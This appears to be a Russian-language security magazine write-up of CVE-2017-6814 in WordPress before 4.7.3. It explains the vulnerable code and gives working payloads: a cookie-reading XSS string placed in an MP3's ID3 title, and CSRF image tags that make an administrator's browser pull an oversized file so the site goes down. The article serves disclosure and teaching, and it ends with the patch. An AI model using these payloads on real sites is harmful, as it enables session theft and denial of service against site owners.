Содержание статьи

Дата релиза: 20 января 2017 года
CVE: CVE-2017-6814
Автор: Йорик Костер (Yorick Koster)
 

BRIEF

В WordPress версий до 4.7.3 возможен межсайтовый скриптинг из-за отсутствия проверки пользовательских данных, а именно ID3-тегов в загружаемых аудиофайлах. Также отсутствует ограничение на количество загружаемых URL и размер файлов, что открывает возможность для атак типа «отказ в обслуживании».

 

EXPLOIT

Для начала займемся XSS. Корень уязвимости кроется в том, что WordPress парсит ID3-теги загружаемых аудиофайлов. Из них он берет информацию о названии композиции, ее исполнителе, альбоме и тому подобные данные. Пару лет назад наша команда обнаружила XXE-уязвимость в механизме работы с тегами. Если ты ее пропустил или забыл, то рекомендую освежить в памяти и прочитать небольшой материал.

Я развернул WordPress версии 4.7.2 и создал MP3-файл длиной в одну секунду, где в качестве имени исполнителя буду использовать XSS.

XSS

Открываем код WordPress и видим, что функция wp_playlist_shortcode() вызывается, когда в тексте есть шорт-тег .

/wp-includes/media.php:

1916: function wp_playlist_shortcode( $attr ) {
...
2124: add_shortcode( 'playlist', 'wp_playlist_shortcode' );

При вызове этого шорт-тега в параметре ids передаются ID прикрепленных аудиофайлов. Затем на странице записи из них формируется плей-лист. Однако название трека никак не фильтруется — здесь и появляются возможности для проведения XSS.

Первая — при выводе плей-листа создается блок noscript со списком файлов для скачивания. Это нужно на тот случай, если в браузере отключен JavaScript. Названия попадают в тег li.

/wp-includes/media.php:

2112:   <noscript>
2113:   <ol><?php
2114:   foreach ( $attachments as $att_id => $attachment ) {
2115:       printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
2116:   }
2117:   ?></ol>
2118:   </noscript>

/wp-includes/post-template.php:

1495: function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
...
1514:   if ( '' === trim( $link_text ) ) {
1515:       $link_text = $_post->post_title;
1516:   }
...
1534:   return apply_filters( 'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon, $text );
1535: }

Поставим в качестве названия трека следующую строку:

</noscript><script>alert(document.cookie)</script>

Редактируем ID3 и добавляем XSS в название трека
Редактируем ID3 и добавляем XSS в название трека

Теперь загружаем трек на сайт и указываем его ID в шорт-теге или выбираем в редакторе плей-листов. Вжух — и алерт уже можно наблюдать прямо тут, в редакторе.

XSS при редактировании записи
XSS при редактировании записи

Разумеется, на странице записи то же самое.

XSS при просмотре записи
XSS при просмотре записи

Вторая XSS типа DOM-based, название трека попадет прямиком в код JS-функции renderTracks().

/wp-includes/js/mediaelement/wp-playlist.js:

091:        renderTracks : function () {
092:            var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
093:            this.tracks.each(function (model) {
094:                if ( ! self.data.images ) {
095:                    model.set( 'image', false );
096:                }
097:                model.set( 'artists', self.data.artists );
098:                model.set( 'index', self.data.tracknumbers ? i : false );
099:                tracklist.append( self.itemTemplate( model.toJSON() ) );
100:                i += 1;
101:            });
102:            this.$el.append( tracklist );
103:
104:            this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
105:        },

Плей-листы с XSS могут создавать только пользователи, у которых есть флаг unfiltered_html. По умолчанию это роли Admin и Editor. Вообще, необязательно загружать файл, который уже содержит эксплоит в ID3, можно просто переименовать любой существующий.

DoS

Переходим к следующей уязвимости — отказу в обслуживании. В WordPress есть такая штука, как Press This. Это что-то вроде Evernote, только данные со страницы попадают в запись в блоге. С передаваемого URL собираются всевозможные встраиваемые элементы типа картинок, видео и прочее. Эта функция не защищена токеном CSRF, поэтому, если администратор перейдет по ссылке /wp-admin/press-this.php?u=URL&url-scan-submit=Scan, скрипт соберет данные с переданного URL и создаст черновик записи с ними.

Вот как это работает изнутри.

/wp-admin/press-this.php:

23: $wp_press_this = new WP_Press_This();
24: $wp_press_this->html();

/wp-admin/includes/class-wp-press-this.php:

1216:   public function html() {
...
1221:       // Get data, new (POST) and old (GET).
1222:       $data = $this->merge_or_fetch_data();

/wp-admin/includes/class-wp-press-this.php:

720:            if ( empty( $_POST ) && ! empty( $data['u'] ) ) {
721:                $data = $this->source_data_fetch_fallback( $data['u'], $data );

/wp-admin/includes/class-wp-press-this.php:

571:    public function source_data_fetch_fallback( $url, $data = array() ) {
...
576:        // Download source page to tmp file.
577:        $source_content = $this->fetch_source_html( $url );
...
605:        // Fetch and gather <img> data.
...
610:        if ( preg_match_all( '/<img [^>]+>/', $source_content, $matches ) ) {
611:            $items = $this->_limit_array( $matches[0] );

Создание записи через функцию Press This
Создание записи через функцию Press This

Так как размеры загружаемых файлов не ограничиваются, мы можем вызвать отказ в обслуживании, создав огромные файлы. Например, так: perl -e 'print "<>"x28000000' > dosme.txt.

Затем нужно заманить авторизованного администратора на вредоносную страницу, где под видом картинок будем отправлять запросы на уязвимый сервер.

<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=b'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=c'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=d'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=e'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=f'>
<img src='http://<wp server>/wp-admin/press-this.php?u=http://<external server>/dosme.txt&url-scan-submit=Scan&a=g'>

Здесь <wp server> — уязвимый сервер, <external server> — сервер, где находится большой файл.

После посещения такой страницы сайт с WordPress станет недоступен.

 

TARGETS

WordPress < 4.7.3.

 

SOLUTION

Выпущена новая версия WordPress 4.7.3, где описанные уязвимости устранены. Обновляемся!

Оставить мнение

Check Also

Исследователи Positive Technologies вновь продемонстрировали небезопасность SS7

Специалисты Positive Technologies в очередной раз продемонстрировали ненадежность SS7 и дв…